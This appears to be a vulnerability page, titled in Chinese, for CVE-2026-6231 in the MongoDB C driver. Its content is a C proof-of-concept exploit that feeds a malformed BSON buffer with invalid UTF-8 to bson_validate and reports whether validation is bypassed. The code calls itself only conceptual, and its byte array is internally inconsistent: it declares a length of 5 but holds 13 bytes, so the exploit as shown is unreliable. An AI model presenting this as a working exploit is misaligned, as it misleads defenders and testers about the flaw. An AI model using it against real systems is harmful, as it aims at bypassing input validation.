CVE-2026-6231 MongoDB C Driver BSON验证绕过漏洞

#include <bson/bson.h> #include <stdio.h> int main() { // PoC for CVE-2026-6231: BSON Validation Bypass // Simulate sending a BSON document with invalid UTF-8 // that triggers the early return vulnerability. // Note: Actual bytes would be crafted to trigger the specific path // This is a conceptual representation. const uint8_t invalid_data[] = {0x05, 0x00, 0x00, 0x00, 0x02, 0x61, 0x00, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00}; // Example malformed BSON bson_t *doc = bson_new_from_data(invalid_data, sizeof(invalid_data)); if (doc) { bool is_valid = bson_validate(doc, BSON_VALIDATE_UTF8, NULL); if (is_valid) { printf("[+] Exploit Successful: Validation bypassed for malformed BSON.\n"); } else { printf("[-] Exploit Failed: Validation rejected the data.\n"); } bson_destroy(doc); } else { printf("[-] Failed to parse BSON structure.\n"); } return 0; }